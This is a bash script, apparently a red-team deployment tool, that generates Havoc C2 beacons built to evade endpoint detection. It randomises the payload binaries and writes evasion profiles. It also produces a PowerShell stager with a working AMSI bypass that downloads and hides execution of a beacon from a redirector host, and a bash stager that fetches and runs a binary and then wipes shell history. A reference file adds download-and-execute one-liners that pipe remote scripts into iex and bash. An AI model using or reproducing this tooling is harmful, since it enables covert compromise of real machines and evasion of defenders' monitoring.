#!/bin/bash # EDR-evasive beacon generator for Havoc C2 # Every deployment produces completely unique payloads # Configuration (automatically populated by Ansible) HAVOC_DIR="/root/Tools/havoc" BEACONS_DIR="/root/Tools/beacons" C2_HOST="{{ ansible_host }}" REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" REDIRECTOR_PORT="{{ redirector_port | default('443') }}" PROFILE_FILE="$HAVOC_DIR/config/profile.json" # Ensure required directories exist mkdir -p $BEACONS_DIR/windows mkdir -p $BEACONS_DIR/linux mkdir -p $BEACONS_DIR/staged mkdir -p $BEACONS_DIR/shellcode # Load Havoc configuration from profile if [ -f "$PROFILE_FILE" ]; then echo "[+] Loading Havoc configuration from profile..." TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE") ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE") ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE") HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE") HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE") else echo "[!] Warning: Profile file not found, using default values" TEAMSERVER_PORT=40056 ADMIN_USER="admin" ADMIN_PASS="admin" HTTP_PORT=8080 HTTPS_PORT=443 fi # Generate unique random values for each execution random_string() { cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 } # Anti-detection function to modify binary files modify_binary() { local input_file=$1 echo "[+] Applying anti-detection modifications to: $input_file" # Create a temporary file local temp_file="${input_file}.tmp" cp "$input_file" "$temp_file" # Modify the file based on its type if file "$input_file" | grep -q "PE32"; then # Windows EXE/DLL modifications # Add random bytes to end of file dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null # Modify PE header timestamps with random value random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM ))) printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \ dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null # Try to strip debug information if command -v strip &> /dev/null; then strip --strip-debug "$temp_file" 2>/dev/null || true fi elif file "$input_file" | grep -q "ELF"; then # Linux ELF modifications # Add random bytes to end of file dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null # Try to strip all symbols if command -v strip &> /dev/null; then strip --strip-all "$temp_file" 2>/dev/null || true fi fi # Replace original with modified version mv "$temp_file" "$input_file" echo "[+] Binary modifications complete" } # Create advanced Havoc payload profile with evasion techniques generate_profile() { local type=$1 local profile_name="${type}_profile_$(random_string 8).json" echo "[+] Creating evasive $type profile..." # Generate random values for this profile local sleep_time=$(( RANDOM % 10 + 2 )) local jitter_percent=$(( RANDOM % 50 + 10 )) if [ "$type" == "windows" ]; then cat > "$BEACONS_DIR/$profile_name" << EOF { "Listener": "https", "Demon": { "Sleep": ${sleep_time}, "SleepJitter": ${jitter_percent}, "IndirectSyscalls": true, "Inject": { "AllocationMethod": $(( RANDOM % 3 )), "ExecutionMethod": $(( RANDOM % 3 )), "ExecuteOptions": $(( RANDOM % 2 )) }, "Evasion": { "StackSpoofing": true, "SleazeUnhook": true, "AmsiEtwPatching": true, "SyscallMethod": $(( RANDOM % 3 )), "EnableSleepMask": true, "SleepMaskTechnique": $(( RANDOM % 4 )) }, "Binary": { "Subsystem": $(( RANDOM % 2 + 1 )) } } } EOF elif [ "$type" == "linux" ]; then cat > "$BEACONS_DIR/$profile_name" << EOF { "Listener": "https", "Demon": { "Sleep": ${sleep_time}, "SleepJitter": ${jitter_percent}, "Injection": { "SpawnMethod": $(( RANDOM % 2 )), "AllocationMethod": $(( RANDOM % 2 )) }, "Evasion": { "EnableSleepMask": true, "SleepMaskTechnique": $(( RANDOM % 4 )) } } } EOF fi echo "$profile_name" } # Generate Havoc payloads with EDR evasion techniques generate_payloads() { echo "[+] Generating EDR-evasive Havoc beacons..." # Windows EXE win_profile=$(generate_profile "windows") win_output="update_win_$(random_string 8).exe" echo "[+] Creating Windows beacon: $win_output with profile $win_profile" $HAVOC_DIR/Client/havoc headless \ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ --username "$ADMIN_USER" \ --password "$ADMIN_PASS" \ --daemon \ --generate payload \ --listener "https" \ --config "$BEACONS_DIR/$win_profile" \ --format exe \ --output "$BEACONS_DIR/windows/$win_output" \ > /dev/null 2>&1 # Apply custom binary modifications if [ -f "$BEACONS_DIR/windows/$win_output" ]; then modify_binary "$BEACONS_DIR/windows/$win_output" fi # Windows DLL dll_profile=$(generate_profile "windows") dll_output="module_$(random_string 8).dll" echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile" $HAVOC_DIR/Client/havoc headless \ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ --username "$ADMIN_USER" \ --password "$ADMIN_PASS" \ --daemon \ --generate payload \ --listener "https" \ --config "$BEACONS_DIR/$dll_profile" \ --format dll \ --output "$BEACONS_DIR/windows/$dll_output" \ > /dev/null 2>&1 # Apply custom binary modifications if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then modify_binary "$BEACONS_DIR/windows/$dll_output" fi # Linux binary linux_profile=$(generate_profile "linux") linux_output="update_linux_$(random_string 8)" echo "[+] Creating Linux binary: $linux_output with profile $linux_profile" $HAVOC_DIR/Client/havoc headless \ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ --username "$ADMIN_USER" \ --password "$ADMIN_PASS" \ --daemon \ --generate payload \ --listener "https" \ --config "$BEACONS_DIR/$linux_profile" \ --format elf \ --output "$BEACONS_DIR/linux/$linux_output" \ > /dev/null 2>&1 # Apply custom binary modifications if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then modify_binary "$BEACONS_DIR/linux/$linux_output" fi # Windows shellcode (staged payload) shellcode_profile=$(generate_profile "windows") shellcode_output="shellcode_$(random_string 8).bin" echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile" $HAVOC_DIR/Client/havoc headless \ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ --username "$ADMIN_USER" \ --password "$ADMIN_PASS" \ --daemon \ --generate payload \ --listener "https" \ --config "$BEACONS_DIR/$shellcode_profile" \ --format shellcode \ --output "$BEACONS_DIR/shellcode/$shellcode_output" \ > /dev/null 2>&1 echo "[+] All payloads generated successfully!" # Return payload information echo "$win_output:$dll_output:$linux_output:$shellcode_output" } # Generate PowerShell and bash stagers generate_stagers() { win_output=$1 linux_output=$2 echo "[+] Generating evasive stagers..." # Create PowerShell stager directory mkdir -p $BEACONS_DIR/stagers # PowerShell stager with AMSI bypass and obfuscation cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF' # PowerShell stager for Havoc C2 with AMSI bypass [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 # AMSI Bypass function Bypass-AMSI { $a = [Ref].Assembly.GetTypes() ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}} $d = $c.GetFields('NonPublic,Static') ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}} $g = $f.GetValue($null) [IntPtr]$ptr = $g [Int32[]]$buf = @(0) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) } # Try to bypass AMSI try { Bypass-AMSI } catch {} # Randomize variables for evasion $rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) $rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) $rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) # Error handling with obfuscation $ErrorActionPreference = 'SilentlyContinue' $wc = New-Object System.Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") $wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") $wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/") # Split URL to avoid detection $r1 = "https://" $r2 = "REDIRECTOR_HOST" $r3 = "/content/windows/WINDOWS_EXE" $url = $r1 + $r2 + $r3 # Download with jitter $outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe") try { $wc.DownloadFile($url, $outpath) Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) # Start process with extra obfuscation $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = $outpath $p.StartInfo.WindowStyle = 'Hidden' $p.StartInfo.CreateNoWindow = $true $p.Start() } catch { # Fail silently } EOF # Replace placeholder values in PowerShell stager sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1 sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1 # Bash stager with obfuscation techniques cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF' #!/bin/bash # Linux download and execute Havoc beacon with EDR evasion # Function obfuscation function x() { command -v "$1" > /dev/null 2>&1 } # Random temp filename r() { head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10} } # Randomize variables TMPVAR=$(r) TMPFILE="/tmp/.${TMPVAR}" # Check which download tool is available if x curl; then # Split URL to avoid signature detection p1="https://" p2="REDIRECTOR_HOST" p3="/content/linux/LINUX_BINARY" url="${p1}${p2}${p3}" # Add random sleep between operations sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}') curl -s -o "$TMPFILE" "$url" elif x wget; then p1="https://" p2="REDIRECTOR_HOST" p3="/content/linux/LINUX_BINARY" url="${p1}${p2}${p3}" # Add random sleep between operations sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}') wget -q -O "$TMPFILE" "$url" else exit 1 fi # Make executable and run in background chmod +x "$TMPFILE" # Add random sleep before execution sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}') ("$TMPFILE" > /dev/null 2>&1 &) # Clean up command history if possible [ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null history -c 2>/dev/null echo "Update complete." EOF # Replace placeholder values in Bash stager sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh chmod +x $BEACONS_DIR/stagers/linux_stager.sh echo "[+] Stagers created successfully" } # Create manifest file create_manifest() { local payload_info=$1 local win_output=$(echo $payload_info | cut -d':' -f1) local dll_output=$(echo $payload_info | cut -d':' -f2) local linux_output=$(echo $payload_info | cut -d':' -f3) local shellcode_output=$(echo $payload_info | cut -d':' -f4) echo "[+] Creating manifest file..." cat > $BEACONS_DIR/manifest.json << EOF { "windows_exe": "$win_output", "windows_dll": "$dll_output", "linux_binary": "$linux_output", "windows_shellcode": "$shellcode_output", "redirector_host": "$REDIRECTOR_HOST", "redirector_port": "$REDIRECTOR_PORT", "c2_host": "$C2_HOST", "havoc_teamserver_port": "$TEAMSERVER_PORT", "havoc_http_port": "$HTTP_PORT", "havoc_https_port": "$HTTPS_PORT", "generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" } EOF } # Create reference file create_reference() { local payload_info=$1 local win_output=$(echo $payload_info | cut -d':' -f1) local dll_output=$(echo $payload_info | cut -d':' -f2) local linux_output=$(echo $payload_info | cut -d':' -f3) local shellcode_output=$(echo $payload_info | cut -d':' -f4) echo "[+] Creating reference file..." cat > $BEACONS_DIR/reference.txt << EOF Havoc C2 Server Details: - C2 IP: $C2_HOST - Redirector Domain: $REDIRECTOR_HOST - Teamserver Port: $TEAMSERVER_PORT - Admin User: $ADMIN_USER - Admin Password: $ADMIN_PASS Beacons Generated ($(date)): - Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output) - Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output) - Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output) - Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output) Deployment Commands: - PowerShell: powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')" - Linux: curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash Anti-Detection Features Enabled: - Binary signature randomization - PE/ELF header manipulation - Sleep mask obfuscation - AMSI bypass in stagers - EDR unhooking - Indirect syscalls - Random sleep/jitter timing EOF } # Main execution flow echo "[+] Starting EDR-evasive Havoc beacon generation..." echo "[+] Redirector: $REDIRECTOR_HOST" echo "[+] C2 Host: $C2_HOST" # Generate payloads payload_info=$(generate_payloads) # Generate stagers generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3) # Create manifest file create_manifest "$payload_info" # Create reference file create_reference "$payload_info" echo "[+] EDR-evasive beacon generation complete!"